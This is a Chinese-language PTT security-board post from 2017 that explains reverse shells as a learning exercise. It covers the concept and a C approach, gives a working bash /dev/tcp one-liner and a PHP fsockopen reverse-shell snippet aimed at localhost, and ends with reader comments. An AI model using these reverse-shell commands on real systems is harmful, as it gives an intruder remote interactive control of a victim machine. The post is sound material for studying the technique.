[閒聊] 2017.W47 - Reverse Shell

看板NetSecurity (資安 資訊安全)作者 (不要偷 Q)時間7年前 (2017/11/21 22:36), 7年前編輯推噓7(705)
留言12則, 9人參與, 7年前最新討論串1/1
2017.W47 - Reverse Shell > 已知用火 ## 前言 ## 最近終於願意開始學習 Reverse Shell[0] 順便學習一下各種 reverse shell 的寫法 (不過還是有很多不會寫 QQ) 終於進化到已知用火的階段了 QQ ## 內容 ## Shell[1] 是介於作業系統跟使用者中間的一個介面程式 通常是命令式介面 (CLI)[2] 作業系統本身是不參與跟使用者的互動 Shell 本身可以做到很多系統底層的操作 以及呼叫外部程式、指令等 而 Web Shell 則是泛指透過 Web 介面 (BUI)[3] 一種操作方式 本身擁有的權限與網頁伺服器[4] 一致 在 Ubuntu 中就可能是 www-data 權限 正常來說 Remote Shell 的連線方式是透過使用者端 主動連線到伺服器 這種使用情境符合大多數的情況 但是在少數情況 (e.g. 駭客入侵) 的時候 會因為防火牆原則或在 NAT[5] 之後 所以無法主動連線到受害者機器 因此發展出 reverse shell 的概念 也就是受害者機器主動發出網路連線的一種技巧 概念上來說 被控制端需要 1)主動發出網路連線 與 2)產生一個互動式介面 用 C 語言當做例子 就是要分別 1) 建立一個 socket 連線與 2) 呼叫一個 /bin/sh 的程式 使用 socket(AF_INET, SOCK_STREAM, 0) 建立一個 TCP 連線是個簡單的方式 複雜的則可以實作 UDP / ICMP 等其他方式的網路連線 連線建立之後的 socket 就可以透過 dup2 將內容重導向到 stdin/stdout 接著執行 execv 來產生一個 bash shell 除了透過低階程式之外 也可以直接使用 bash / Linux 的特性直接產生一個 reverse shell 在 Linux 下直接對檔案 /dev/tcp/[IP]/[Port] [6] 做操作 這樣就可以直接對外產生一個網路連線 並傳送、接收指令 最後可以用以下指令快速產生一個 reverse shell /bin/bash -i >& /dev/tcp/127.0.0.1/34182 0>&1 相同的概念也可以透過 PHP 來實作 藉由 fsockopen [7] 快速產生一個 socket (並且預期 FD 是 3) 在用 exec 來執行跟 bash reverse shell 類似的指令 <?php $sk = fsockopen("127.0.0.1", 34182); exec("/bin/bash -i <&3 >&3 2>&3"); ?> [0]: https://stackoverflow.com/questions/35271850/what-is-reverse-shell [1]: https://zh.wikipedia.org/wiki/%E6%AE%BC%E5%B1%A4 [2]: https://en.wikipedia.org/wiki/Command-line_interface [3]: https://en.wikipedia.org/wiki/Browser_user_interface [4]: https://en.wikipedia.org/wiki/Web_server [5]: https://en.wikipedia.org/wiki/Network_address_translation [6]: http://www.tldp.org/LDP/abs/html/devref1.html [7]: http://php.net/manual/en/function.fsockopen.php -- ※ 發信站: 批踢踢實業坊(ptt.cc), 來自: 123.193.122.171 ※ 文章網址: https://www.ptt.cc/bbs/NetSecurity/M.1511274995.A.F8F.html ※ 編輯: CMJ0121 (123.193.122.171), 11/21/2017 22:37:04

11/22 17:40, 7年前 , 1F
11/22 17:40, 1F

11/22 20:00, 7年前 , 2F
push
11/22 20:00, 2F

11/22 23:52, 7年前 , 3F
推薦文章。
11/22 23:52, 3F

11/23 10:15, 7年前 , 4F
我只有遇過直接用PHP當shell用得入侵
11/23 10:15, 4F

11/24 13:43, 7年前 , 5F
可以寫個簡單的c program,不需要寫socket, 配合ncat指
11/24 13:43, 5F

11/24 13:43, 7年前 , 6F
令 也可以模擬遠端駭入的技術(e.g. bof,rop)
11/24 13:43, 6F

11/25 13:40, 7年前 , 7F
11/25 13:40, 7F

11/30 10:41, 7年前 , 8F
之所以要用socket就是因為輸出看不到或是無法直接連到遠
11/30 10:41, 8F

11/30 10:41, 7年前 , 9F
端等原因才在目標開socket反連回來啊
11/30 10:41, 9F

11/30 10:44, 7年前 , 10F
reverse shell的目的不是單純模擬遠端攻擊…
11/30 10:44, 10F

12/06 00:02, 7年前 , 11F
所以東西都不限於一種用法
12/06 00:02, 11F

12/08 19:00, 7年前 , 12F
寫的很務實 推
12/08 19:00, 12F
文章代碼(AID): #1Q53dp-F (NetSecurity)
文章代碼(AID): #1Q53dp-F (NetSecurity)